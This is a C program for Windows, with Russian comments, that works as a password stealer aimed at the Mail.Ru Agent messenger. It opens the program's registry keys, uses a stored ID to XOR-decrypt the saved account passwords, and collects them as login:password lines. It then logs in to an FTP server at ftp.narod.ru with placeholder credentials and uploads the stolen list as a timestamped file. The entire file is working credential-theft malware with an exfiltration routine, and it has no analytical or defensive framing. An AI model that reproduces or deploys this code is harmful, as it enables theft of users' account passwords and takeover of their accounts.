#include"windows.h"

#define MSIZE 30
#define SERVER_ADDR "ftp.narod.ru"
#define USERNAME "YourLogin"
#define PASSWORD "YourPassword"

#pragma comment (lib,"WSock32.lib")

DWORDLONG StrToDWL(LPSTR st);
void str2addr(char* src, char* addr, int *port);
unsigned str2uint(char *str);
void uint2str(unsigned a, char* st);
void GetStrDateTime(char* buf);

//-------------------------------------------------------------------

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInst, LPSTR lpCmdLine, int nCmdShow)
{	
//------------Работа с реестром--------------------------------------	
	BYTE ID;
	HKEY hReg;
	char st1[MSIZE];
	char st2[MSIZE];
	char databuf[400];
	DWORD len1=MSIZE;
	DWORD len2=MSIZE;
	int i;
	databuf[0]='\0';
//Открываем реестр
	if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Mail.Ru\\Agent",0,KEY_QUERY_VALUE,&hReg))
		return 0;
//Берем и преобразуем ключ для дешифровки
	RegQueryValueEx(hReg,"ID",NULL,NULL,(LPBYTE)st1,(LPDWORD)&len1);
	RegCloseKey(hReg);
	ID=(BYTE)StrToDWL((LPSTR)st1)&0xFF;	
//--------------------------
//Открываем раздел с пассвордами и дешифруем их
	RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Mail.Ru\\Agent\\mra_logins",0,KEY_READ,&hReg);
    for (i=0;;i++)
	{

		BYTE length,j;
		char* pst2;
		char pass[MSIZE];
		len1=len2=MSIZE;
		LONG err=RegEnumValue(hReg,i,(LPTSTR)st1,(LPDWORD)&len1,NULL,NULL,(LPBYTE)st2,(LPDWORD)&len2);
		if (err)
			break;
		length=st2[0];
		pst2=st2+4;
		for (j=0;j<length;j++)
			pass[j]=pst2[j]^ID;
		pass[length]='\0';
//-------------------------------------------

//формируем строку данных
		strcat(databuf,st1);
		strcat(databuf,":");
		strcat(databuf,pass);
		//strcat(databuf,"*******");
		strcat(databuf,"\n");
//------------------------------------
	}
	RegCloseKey(hReg);
//---------------------------------------------------------------------	
//----------Работа с сокетом-------------------------------------------
	WSADATA info;
	SOCKET sc;	
	sockaddr_in dest_addr,data_addr;
    HOSTENT *hst;
	char buf[204];

	buf[201]=13;
	buf[202]=10;
    buf[203]=0;
	
//Инициализируем библиотеку
	WSAStartup(MAKEWORD(2,0),&info);
//---------------------------
//Создаем сокет, задаем адрес и соединяемся с сервером
	sc=socket(AF_INET,SOCK_STREAM,0);   
    dest_addr.sin_family=AF_INET;
    dest_addr.sin_port=htons(IPPORT_FTP);	
    hst=gethostbyname(SERVER_ADDR);//Какой у него ай-пи?
    ((unsigned long *)&dest_addr.sin_addr)[0]=
		((unsigned long **)hst->h_addr_list)[0][0];
    connect(sc,(sockaddr *)&dest_addr,sizeof(dest_addr));
//---------------------------    
//Поздоровались с демоном----
    recv(sc,buf,200,NULL);
//---------------------------
//Послали логин--------------
	strcpy(buf,"USER ");
	strcat(buf,USERNAME);
	send(sc,buf,(int)strlen(buf),NULL);
	send(sc,&buf[201],2,0);
	recv(sc,buf,200,NULL);
//---------------------------
//Послали пассворд-----------
	strcpy(buf,"PASS ");
	strcat(buf,PASSWORD);
	send(sc,buf,(int)strlen(buf),NULL);
	send(sc,&buf[201],2,0);
	recv(sc,buf,200,NULL);
//---------------------------
//Посылаем сигнал к открытию канала для данных
	strcpy(buf,"PASV");
	send(sc,buf,(int)strlen(buf),NULL);
	send(sc,&buf[201],2,0);
	recv(sc,buf,200,NULL);
//---------------------------
//Анализируем ответ и открываем канал
	char dataaddrbuf[17];
	int dataport;
	SOCKET dsc;

	str2addr(buf,dataaddrbuf,&dataport);
	data_addr.sin_family =AF_INET;
	data_addr.sin_port =htons((u_short)dataport);
	data_addr.sin_addr.s_addr=inet_addr(dataaddrbuf);
	dsc=socket(AF_INET,SOCK_STREAM,0);
	connect(dsc,(sockaddr *)&data_addr,sizeof(data_addr));
//Создаем на сервере файл
	strcpy(buf,"STOR ");
	GetStrDateTime(buf);
	send(sc,buf,(int)strlen(buf),0);		
	send(sc,&buf[201],2,0);
//	recv(sc,buf,200,0);
//---------------------------

//Посылаем сформированую строчку на сервер
	send(dsc,databuf,(int)strlen(databuf),0);		
//Закрываем канал
	closesocket(dsc);
	//recv(sc,buf,200,NULL);
	
//Закрываем соединения, сокеты и деинициируем библиотеку	
	send(sc,"QUIT",4,NULL);
	send(sc,&buf[201],2,0);
	closesocket(sc);
	
	WSACleanup();
//--------------------------
	return 0;
}
//-------------------------------------------------------------------
DWORDLONG StrToDWL(LPSTR st)
{
	DWORDLONG tmp=0;
	for (int i=0;st[i]!='\0';i++)
	{
		tmp*=10;
		tmp+=st[i]-0x30;
	}
	return tmp;
}
//-------------------------------------------------------------------
void str2addr(char* src, char* addr, int *port)
{
	char *tmp;
	char *c1;
	char *c2;
	
	tmp=strchr(src,(int)'(')+1;	
	strchr(tmp,(int)',')[0]='.';
	strchr(tmp,(int)',')[0]='.';
	strchr(tmp,(int)',')[0]='.';	
	c1=strchr(tmp,(int)',');	
	(c1++)[0]='\0';
	strcpy(addr,tmp);
	c2=strchr(c1,(int)',');
	c2[0]='\0';
	c2++;
	strchr(c2,(int)')')[0]='\0';

	*port=str2uint(c1)*256+str2uint(c2);
}
//-------------------------------------------------------------------
unsigned str2uint(char *str)
//Внимание! никаких проверок нет!
{
	unsigned tmp=0;
	char *_str=str;

	while (*_str!='\0')
	{
		tmp*=10;
		tmp+=*(_str++)-0x30;
	}
	return tmp;
}
//-------------------------------------------------------------------
void uint2str(unsigned a, char* st)
{
	unsigned tmp=a;
	int i=0;
	while(tmp)
	{
        tmp/=10;
		i++;
	}
	st[i--]='\0';
	for(;i>=0;i--)
	{
		st[i]=a%10+0x30;
		a/=10;
	}
}
//-------------------------------------------------------------------
void GetStrDateTime(char* buf)
//Присоединяет к строке buf дату
{
	SYSTEMTIME systime;
	char tmpst[5];

	GetSystemTime((LPSYSTEMTIME)&systime);

	uint2str(systime.wYear, tmpst);
	strcat(buf,tmpst);
	strcat(buf,"_");
	uint2str(systime.wMonth, tmpst);
	strcat(buf,tmpst);
	strcat(buf,"_");
	uint2str(systime.wDay, tmpst);
	strcat(buf,tmpst);
	strcat(buf,"-");
	uint2str(systime.wHour, tmpst);
	strcat(buf,tmpst);
	strcat(buf,"_");
	uint2str(systime.wMinute, tmpst);
	strcat(buf,tmpst);
	strcat(buf,"_");
	uint2str(systime.wSecond, tmpst);
	strcat(buf,tmpst);
}
//-------------------------------------------------------------------
